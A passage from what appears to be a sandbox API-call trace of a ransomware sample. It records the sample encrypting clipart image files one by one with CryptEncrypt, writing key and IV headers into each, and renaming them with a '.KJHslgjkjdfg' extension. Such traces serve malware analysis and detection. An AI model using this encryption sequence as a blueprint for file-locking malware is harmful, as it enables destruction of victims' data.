out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7c10, lpOverlapped=0x0) returned 1 [0208.374] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.374] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7ce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.374] SetEndOfFile (hFile=0x130) returned 1 [0208.377] GetProcessHeap () returned 0x990000 [0208.377] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0208.377] GetProcessHeap () returned 0x990000 [0208.377] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0208.377] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02466u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02466u.bmp.kjhslgjkjdfg")) returned 1 [0208.379] CloseHandle (hObject=0x130) returned 1 [0208.379] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78519700, ftCreationTime.dwHighDateTime=0x1bf111d, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78519700, ftLastWriteTime.dwHighDateTime=0x1bf111d, nFileSizeHigh=0x0, nFileSizeLow=0x48fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02470U.BMP", cAlternateFileName="")) returned 1 [0208.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02470u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0208.429] GetProcessHeap () returned 0x990000 [0208.429] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0208.429] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0208.429] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0208.429] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0208.439] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.439] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.439] GetProcessHeap () returned 0x990000 [0208.439] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0208.439] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0208.439] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.439] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0208.439] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0208.439] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0208.439] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0208.439] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0208.440] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.440] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.440] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.440] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.440] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x48fc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x48fc, lpOverlapped=0x0) returned 1 [0208.441] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4900, dwBufLen=0x4900 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4900) returned 1 [0208.441] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.441] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4900, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4900, lpOverlapped=0x0) returned 1 [0208.441] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.441] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x49d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.441] SetEndOfFile (hFile=0x130) returned 1 [0208.443] GetProcessHeap () returned 0x990000 [0208.443] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0208.443] GetProcessHeap () returned 0x990000 [0208.443] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0208.443] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02470u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02470u.bmp.kjhslgjkjdfg")) returned 1 [0208.444] CloseHandle (hObject=0x130) returned 1 [0208.445] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7a0bb00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7a0bb00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02503U.BMP", cAlternateFileName="")) returned 1 [0208.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02503u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0208.447] GetProcessHeap () returned 0x990000 [0208.447] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0208.447] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0208.447] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0208.447] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.447] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.447] GetProcessHeap () returned 0x990000 [0208.447] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0208.447] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0208.447] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.447] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0208.451] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0208.451] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0208.451] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0208.451] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0208.451] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.452] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.452] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.452] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.452] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7ce0, lpOverlapped=0x0) returned 1 [0208.453] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7ce0) returned 1 [0208.453] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.454] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7ce0, lpOverlapped=0x0) returned 1 [0208.454] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.454] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.454] SetEndOfFile (hFile=0x130) returned 1 [0208.457] GetProcessHeap () returned 0x990000 [0208.457] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0208.457] GetProcessHeap () returned 0x990000 [0208.457] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0208.457] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02503u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02503u.bmp.kjhslgjkjdfg")) returned 1 [0208.459] CloseHandle (hObject=0x130) returned 1 [0208.459] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83b1e300, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83b1e300, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x8499, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02567J.JPG", cAlternateFileName="")) returned 1 [0208.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02567j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0208.460] GetProcessHeap () returned 0x990000 [0208.460] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0208.460] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0208.460] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0208.460] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x7, lpOverlapped=0x0) returned 1 [0208.463] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.463] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.463] GetProcessHeap () returned 0x990000 [0208.463] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0208.463] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0208.463] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.463] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0208.463] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0208.463] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0208.464] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0208.464] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0208.464] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.464] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.464] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.464] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.464] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8499, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x8499, lpOverlapped=0x0) returned 1 [0208.471] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x84a0, dwBufLen=0x84a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x84a0) returned 1 [0208.472] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.472] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x84a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x84a0, lpOverlapped=0x0) returned 1 [0208.472] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.472] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8574, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.472] SetEndOfFile (hFile=0x130) returned 1 [0208.475] GetProcessHeap () returned 0x990000 [0208.475] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0208.475] GetProcessHeap () returned 0x990000 [0208.475] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0208.475] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02567j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02567j.jpg.kjhslgjkjdfg")) returned 1 [0208.477] CloseHandle (hObject=0x130) returned 1 [0208.477] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd929e00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd929e00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x639b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02736G.GIF", cAlternateFileName="")) returned 1 [0208.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0208.478] GetProcessHeap () returned 0x990000 [0208.478] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0208.479] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0208.479] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0208.479] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x5, lpOverlapped=0x0) returned 1 [0208.490] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.490] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.490] GetProcessHeap () returned 0x990000 [0208.490] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0208.490] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0208.490] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.490] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0208.490] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0208.490] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0208.490] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0208.490] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0208.490] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.491] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.491] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.491] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.491] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x639b, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x639b, lpOverlapped=0x0) returned 1 [0208.492] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x63a0, dwBufLen=0x63a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x63a0) returned 1 [0208.493] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.493] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x63a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x63a0, lpOverlapped=0x0) returned 1 [0208.493] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.493] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.493] SetEndOfFile (hFile=0x130) returned 1 [0208.496] GetProcessHeap () returned 0x990000 [0208.496] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0208.496] GetProcessHeap () returned 0x990000 [0208.496] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0208.496] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736g.gif.kjhslgjkjdfg")) returned 1 [0208.498] CloseHandle (hObject=0x130) returned 1 [0208.498] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x924cca00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x924cca00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7e90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02736U.BMP", cAlternateFileName="")) returned 1 [0208.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP" (normalized: 